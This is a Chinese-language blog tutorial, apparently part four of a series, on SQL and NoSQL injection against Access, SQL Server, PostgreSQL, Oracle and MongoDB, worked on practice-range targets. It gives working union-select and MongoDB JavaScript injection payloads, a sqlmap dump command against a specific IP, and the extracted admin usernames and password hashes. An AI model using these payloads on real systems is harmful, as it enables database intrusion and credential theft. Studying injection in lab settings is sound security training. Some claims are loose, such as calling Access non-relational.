SQL注入之Oracle,MongoDB等多种类型数据库注入(四)

数据库类型

数据库有很多种,我们前面说的都是Mysql数据库,除了Mysql还有Access,mssql(SQL Server),mongoDB,postgresql,sqlite,oracle,sybase等

这么多说不完,但是原理都大同小异,都是前面说的,只不过具体的的数据库注入的语句可能略有不同罢了,下面细说。

前面说过Mysql的结构

数据库名

              表名

                       列名

                               数据

这种叫关系型数据库,很多数据库都是这样的结构

有一个例外就是Access:

表名

         列名

                 数据

access 非关系型数据库,源码就保存在网站源码下。

两个网站如果采用access在一个服务器上运行,但是 两个aceess互不相干的没有关系。

之前说的mysql跨库注入 access不行。

access没有文件读写的操作,所以不能写进webshell什么的拿权限

access 非关系型数据库。 源码就保存在网站源码下。

两个网站如果在一个服务器上运行采用Access数据库,两个aceess互不相干的没有关系。

之前说的mysql跨库注入 access不行。

access没有文件读写的操作。

网站注入点用户权限使用 user()决定or连接数据库的文件

Access数据库类型的sql注入

Access 很单纯只有数据 , 没有版本 什么玩意让你查。

但是表明列名 都只能靠猜 ,用工具暴力破解。

Access

常规操作 order by 猜字段:

A2

A3

发现是5报错, 于是字段为4

因为Access 只有一个库 ,所以数据库名 和字段名都要靠猜  或者工具暴力破解。

我这里随便猜 – –   ,发现数据库名是admin  字段是username和passwd。

于是构造payload: union select 1,username,passwd,4 from admin

A4

成功爆出来用户名和 加密后的密码。结束!

再强调一下Access类型数据库的注入:

Access 很单纯只有数据 , 没有版本 什么玩意让你查。

但是表明列名 都只能靠猜 ,用工具暴力破解。
问题:access注入时,如果列名或表名猜不出来怎么办?

 猜不到就G。

Sql Server数据库类型的sql注入

mysql是root最高权限 ,而sqlserver 是sysadmin

下面列出过程图:

先解释一下,这个注入都是大同小异,我们只用学习好原理就行,无非就是不同数据库语法略有差异,然后注入方式有点不太,这个无所谓,等后面用sqlmap一把梭,所以前面Mysql注入原理学明白就行。

1.查询字段数

有4个字段
?id=2 and 1=1 order by 4	//正常
?id=2 and 1=1 order by 5	//报错

2.找到输出点

将3改用字符串类型,再次尝试
?id=2 and 1=2 union all select 1,2,'3',4

3.查询库名

?id=2 and 1=2 union all select 1,db_name(),'3',4		//库名:mozhe_db_v2

4.查询表 这个u就是表示表的类型

具体可以查xtype

?id=2 and 1=2  union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4		//查出表名:manage
dbo.sysobjects	系统自带库		xtype='U'	是指用户创建的表

5.查询字段 查询出 1 是id   2是username 3是password

?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4		//id
?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4		//username
?id=2 and 1=2  union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4		//password

6.查询数据

?id=2 and 1=2 union all select 1,(select username from manage),'3',4			//username:	admin_mz
?id=2 and 1=2 union all select 1,(select password from manage),'3',4			//password: 72e1bfc3f01b7583
也可以这样写:
?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4

得出来md5加密后的密码

1663726290854

1663726367527

这是手工的方式,如果用sqlmap就不用考虑这么多,直接一把梭完。

PostgreSql数据库类型sql注入

这次用sqlmap跑,不手工注入了,原理都一样。。。

sqlmap.py -u 124.70.71.251:41549/new_list.php?id=1 -C name,password –dump -T reg_users -D public

P1

获得账号密码。

这个注入原理都是一样的,如果想手工注入,只需要搜索一下此数据库类型的注入,然后进行注入即可,整体思路都是一样的。

 

Oracle数据库类型sql注入

dual表,此表是Oracle数据库中的一个自带表,有说法这是一个虚拟表,也有的说是一个实表,它实际上位满足查询条件而产生

与MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual

涉及到的基本用法:

select * from all_tables 查询出所有的表

select * from user_tables 查询出当前用户的表

select*from all_tab_columns 查询出所有的字段

select*from user_tab_columns 查询出当前用户的字段

select*from v$version 查版本
(10条消息) 手注Oracle墨者靶场案例_大头蔬菜的博客-CSDN博客_oracle靶场

具体手工看这个,我直接sqlmap一把梭,或者北极熊。

Oracle

 

payload:http://124.70.22.208:41553/new_list.php?id=1 union select USER_NAME,USER_PWD from “sns_users” where rownum=1 and USER_NAME like ‘mozhe’

MongoDB数据库类型sql注入

123

这里看到了id的形式,以及下面title content 。

# 想办法闭合语句,查看所有集合
# db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
http://ip/new_list.php?id=1′}); return ({title:tojson(db.getCollectionNames()),2:’1
构造payload:http://124.70.71.251:45694/new_list.php?id=1′}); return ({title:tojson(1),content:’2

D1

查看表名:

payload:http://124.70.71.251:45694/new_list.php?id=1′}); return ({title:tojson(db.getCollectionNames()),2:’1

D2

查询里面字段信息有两条:

payload:

http://124.70.71.251:45694/new_list.php?id=1′}); return ({title:tojson(db.Authority_confidential.find()[0]),2:’1

http://124.70.71.251:45694/new_list.php?id=1′}); return ({title:tojson(db.Authority_confidential.find()[1]),2:’1

D3

D4

查出信息,进行md5解密,万事大吉。

总结:

不同类型数据库虽然注入语法略有不同,但是注入原理都一样,无非形式不一样,所以不用刻意去记,用的时候查就可以,而且目前市面上基本全是Mysql ,sql server oracle,很少有这种,哦对了,

sqlmap不支持MongoDB数据库类型sql注入的,但是NoSQLAttack工具支持这个数据库注入,所以不同注入工具有好有坏,要善于使用。

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论